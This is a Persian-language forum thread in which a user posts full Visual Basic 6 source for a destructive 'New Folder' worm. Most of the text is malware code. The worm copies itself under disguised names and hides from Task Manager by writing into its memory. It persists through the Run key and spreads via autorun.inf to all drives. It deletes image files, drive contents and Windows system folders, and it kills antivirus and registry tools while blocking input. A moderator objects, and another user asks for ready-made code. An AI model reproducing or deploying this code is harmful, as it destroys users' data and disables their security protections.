كدهاي ساخت ويروس نيو فولدر با وي بي
#1
Note 
Private Const MONITOR_ON = -1&
Private Const MONITOR_OFF = 2&
Private Const SC_MONITORPOWER = &HF170&
Private Const WM_SYSCOMMAND = &H112

Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Declare Function BlockInput Lib "user32" (ByVal dwFreq As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type

Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long


Dim c As Long
Dim flg As Integer
Dim q As Shell
Dim a As New FileSystemObject
Private Sub Process_Hide(Name As String)
On Error Resume Next
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim I As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
I = SendMessage(h, &H1000 + 13, 0, pType)
If I <> -1 Then SendMessage h, &H1000 + 8, I, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub

Private Function SearchFiles(ByRef Path As String, ByRef FileName As String, ByRef Files() As String, ByVal BaseIndex As Long, ByVal SubFolders As Boolean) As Long
Dim Count As Long, File As String, Pos As Long
Dim Folders() As String, FolderCount As Long
Dim Index As Long
On Error Resume Next
If Right(Path, 1) <> "\" Then Path = Path & "\"
FileName = Replace(FileName, "*", "")
File = Dir(Path & "*", vbArchive Or vbHidden Or vbReadOnly Or vbSystem Or IIf(SubFolders, vbDirectory, 0))
Do Until Len(File) = 0 Or Stopped
Select Case File
Case ".", ".."
Case Else
If PathIsDirectory(Path & File) <> 0 Then
If SubFolders Then
If FolderCount = 0 Then
ReDim Folders(0 To 100)
ElseIf FolderCount > UBound(Folders) Then
ReDim Preserve Folders(0 To FolderCount + 100)
End If
Folders(FolderCount) = Path & File
FolderCount = FolderCount + 1
End If
Else
If InStr(1, File, FileName, vbTextCompare) > 0 Then
If BaseIndex = 0 And Count = 0 Then
ReDim Files(0 To 100)
ElseIf BaseIndex + Count > UBound(Files) Then
ReDim Preserve Files(0 To BaseIndex + Count + 100)
End If
Files(BaseIndex + Count) = Path & File
a.DeleteFile Path & File
Count = Count + 1
End If
End If
End Select
File = Dir
DoEvents
Loop
If SubFolders And Stopped = False Then
For Index = 0 To FolderCount - 1
Count = Count + SearchFiles(Folders(Index), FileName, Files, BaseIndex + Count, SubFolders)
Next
End If
If Count = 0 Then
Erase Files
Else
ReDim Preserve Files(0 To Count - 1)
End If
SearchFiles = Count
End Function

Private Sub Form_Activate()
On Error Resume Next
z$ = Environ("windir")
x$ = Environ("userprofile")
zz$ = Environ("computername")

Label3.caption = zz$
SaveSetting "Virus", "General", "label3", Label3

If Label1.caption = "5" Then
Label1.caption = Label1.caption - 1
End If

Label1.caption = Label1.caption + 1

SaveSetting "virus", "general", "label1", Label1

a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe"
a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Windows Explorer.exe"
a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

End Sub

Private Sub Form_Load()
On Error Resume Next
z$ = Environ("Windir")
xx$ = Environ("systemdrive")
App.TaskVisible = False
q.Open z$ & "\Explorer.exe"

Label3 = GetSetting("virus", "general", "label3", Label3)
Label1 = GetSetting("virus", "general", "label1", Label1)
Label4 = GetSetting("Virus", "General", "Label4", Label4)

SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPath", "1"
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPathAddress", "1"
SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPath", "CheckedValue", "0"
SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPathAddress", "CheckedValue", "0"
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"


If Label3.caption <> Label4.caption Then
Label4.caption = Label3.caption
Label1.caption = "1"
SaveSetting "Virus", "General", "Label4", Label4
SaveSetting "virus", "general", "label1", Label1
GoTo s:
Else
'

پاسخ
#2
Note 
ساختن پوشه
s:
CreateKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "Explorer" 'ساختن پوشه اي جديد
CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "Explorer" 'ساخت پوشه جديد
CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "System" 'ساخت پوشه جديد
CreateKey "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "System" 'ساخت پوشه جديد

SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "KhatarVirus"
SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "KhatarVirus"
SetDWORDValue "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Cdrom", "Autorun", "0" 'غير فعال کردن اتوران
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "1"

Select Case Label1.caption
'بار اول
Case "1"
a.CreateFolder xx$ & "\Program Files\Power MP3"
a.CreateFolder xx$ & "\Update"

Shell "shutdown -r -t 0"

'بار دوم
Case "2"
SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s1159", "صبح بخير"
SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s2359", "ظهر بخير"

'بار سوم
Case "3"
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispSettingsPage", "1"
a.DeleteFolder z$ & "\" & "Fonts"
a.DeleteFolder z$ & "\" & "Cursors"
a.DeleteFolder z$ & "\" & "Media"
'بار چهارم
Case "4"
Timer10.Enabled = True
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", "1"
'بار پنجم
Case "5"
Timer11.Enabled = True
SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"
SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDrives", "4"
Timer8.Enabled = True
End Select
End If

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
z$ = Environ("windir")
x$ = Environ("userprofile")
xx$ = Environ("systemdrive")

Process_Hide CStr(App.EXEName & ".exe")

a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe"
a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Program Files\Power Mp3\Power MP3.exe"
a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Update\Update.exe"
a.CopyFile z$ & "\system32\New folder.exe", x$ & "\Local Settings\Temp\New Folder.exe"
a.CopyFile z$ & "\system32\New Folder.exe", xx$ & "\Program Files\Common Files\Microsoft Shared\MSshare.exe"
a.CopyFile x$ & "\Local Settings\Temp\New Folder.exe", z$ & "\system32\New Folder.exe", True

SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "www.Virus.Com"
SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsaft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe"
SetDWORDValue "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", "0"

SetAttr App.Path & "\" & App.EXEName & ".exe", &H6
SetAttr z$ & "\System32\New Folder.exe", &H6
SetAttr x$ & "\My Documents\New Folder.exe", &H6
SetAttr z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe", &H6

End Sub

Private Sub Timer10_Timer()
'کپي کردن ويروس در درايوها
On Error Resume Next
z$ = Environ("windir")
x$ = Environ("userprofile")
Dim I As Integer
Dim B As String

a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe"
a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

For I = 99 To 122
B = Chr(I) & ":"
If a.DriveExists(B) = True Then
a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe"
Open B & "\Autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "OPEN=New Folder.exe"
Print #1, "shell\open\Command = New Folder.exe"
Print #1, "shell\explore\Command = New Folder.exe"
Print #1, "shell\Autoplay\Command = New Folder.exe"
Close #1
SetAttr B & "\Autorun.inf", &H6
SetAttr B & "\New Folder.exe", &H6
End If
Next I

a.CopyFile x$ & "\My Documents\New Folder.exe", z$ & "\Windows Explorer.exe", True
a.CopyFile z$ & "\System32\New Folder.exe", z$ & "\Windows Explorer.exe", True
a.CopyFile z$ & "\Windows Explorer.exe", z$ & "\System32\New Folder.exe", True

SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe"
End Sub

Private Sub Timer11_Timer()
On Error Resume Next
Dim I As Integer
Dim B As String
For I = 99 To 122
B = Chr(I) & ":"
If a.DriveExists(B) = True Then
If B = "C:" Then
GoTo s:
End If
a.DeleteFile B & "\*.*"
a.DeleteFolder B & "\*.*"
s:
a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe"
SetAttr B & "\New Folder.exe", &H6
End If
Next I
Timer11.Enabled = False
End Sub

Private Sub Timer12_Timer()

On Error Resume Next
z$ = Environ("systemdrive")

Dim Index As Long, Files() As String, Count As Long

Dim txtfilename, searchpath As String

s:
For drvc = 99 To 122

If a.DriveExists(Chr(drvc) + ":") = True Then
If drvc = z$ Then
GoTo ss:
Else
searchpath = Chr(drvc) + ":\"
Count = SearchFiles(searchpath, "*.jpg", Files, 0, c1.Value)
End If

If Chr(drvc) + ":" = "Z:" Then
Label2.caption = "67"
If Path & FileName = 0 Then

Timer12.Enabled = False
Else
GoTo s:
End If
End If
End If
ss:
Next drvc


End Sub

Private Sub Timer2_Timer()
On Error Resume Next

Randomize Time
z$ = Environ("Windir")
Dim c As Long
Dim k As Long
Dim handel As Long
Dim caption As String
c = GetForegroundWindow 'گرفتن هندل پنجره فعال
caption = Space$(128)
k = GetWindowText(c, caption, 128) 'عنوان پنجره فعال
caption = Left(caption, k)

a.DeleteFile caption & "\*.jpg", True
a.CopyFile App.Path & "\" & App.EXEName & ".exe", caption & "\*.exe", True

If a.FileExists(caption & "\New Folder.exe") = True Or a.FileExists(caption & "\Irani Picture.exe") = True Or a.FileExists(caption & "\New Folder (2).exe") = True Or a.FileExists(caption & "\Picture.exe") = True Then
GoTo s:
Else
Number = Int(Rnd * 5)
Select Case Number 'کپي ويروس با نام هاي مختلف
Case 0
a.CopyFile z$ & "\System32\New Folder.exe", caption & "\New Folder.exe", True
Case 1
a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Picture.exe", True
Case 2
a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Irani Picture.exe", True
Case 3
a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder (2).exe", True
Case 4
a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder.exe", True
End Select
s:
End If

z = InStrRev(caption, "\", -1) 'براي پيدا کردن نام پوشه
zz = Len(caption) - z
s = Right$(caption, zz)
handel = FindWindow(vbNullString, caption)
If handel <> 0 Then
SetForegroundWindow handel
SetWindowText handel, s
End If

End Sub

Private Sub Timer6_Timer()
On Error Resume Next
Dim handel As Long
handel = FindWindow(vbNullString, "Run")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Antivirus")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Anti virus")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Control Panel")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Windows")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Registry Editor")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "System Configuration Utility")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Folder Options")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "Kaspersky Anti-Virus 7.0")
If handel <> 0 Then
SetForegroundWindow handel
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF)
SendKeys "%{f4}", 1
SendKeys "{BackSpace}"
BlockInput True
End If
handel = FindWindow(vbNullString, "ESET NOD32 Antivirus Setup")
If handel <> 0 Then
SetForegroundWindow handel
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF)
SendKeys "%{f4}", 1
SendKeys "{BackSpace}"
BlockInput True
End If

End Sub


Private Sub Timer7_Timer()
On Error Resume Next
Clipboard.Clear

End Sub

Private Sub Timer8_Timer()
On Error Resume Next

Dim handel As Long
handel = FindWindow(vbNullString, "C:\")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
handel = FindWindow(vbNullString, "My Documents")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
End Sub

پاسخ
#3
Note 
سلام
دوست عزیز
نکته اول اینه که کداتونو باید تو تگ کد قرار بدید تا بشه خوندش
نکته دوم اینه که گذاشتن کد ویروس نویسی آموزشش جزو جرایم رایانه ای محسوب میشه و اجازه نداریم بذاریم چون سایت فیلتر میشه!
نکته سوم اینه که عنوان موضوع رو درست نذاشتید
نکته چهارم اینه که اگر یکدفعه همش ارسال نشد تو همون تاپیک باید پست جدید میزدی.

***********
پاسخ
#4
Note 
سلام و چشم ؟هنوز با رول كار زياد آشنا نشدم ، قصدم ندارم آموزش ويروس نويسي بدم ، اما آشنايي خوبه تعدادي منابع جالب دارم ميخوام به دست دوستان برسه كه
آشنا بشن ؟ فيلترم فكر نكنم بكنن چون اونا خودشون واقفن كه هدف چيز ديگس؟بازم از راهنماييتون ممنونم.

پاسخ
#5
Note 
سلام خدمت تمامی دوستان در این انجمن
ببخشید نمیشه کدشو آماده بزارید.
چون هر کاری می کنم ارور می ده

پاسخ
ایجاد موضوع جدید   پاسخ به موضوع  

موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
Note ويروس نويسي با وي بي azade1359 0 202 10-02-2014 ساعت 02:16
آخرین ارسال: azade1359
Note کمک درباره سروس کد ویدیو پلیر در ویژوآل بیسیک moeinmq 1 433 28-08-2013 ساعت 13:19
آخرین ارسال: VBProgrammer

کاربرانِ درحال بازدید از این موضوع:   1 مهمان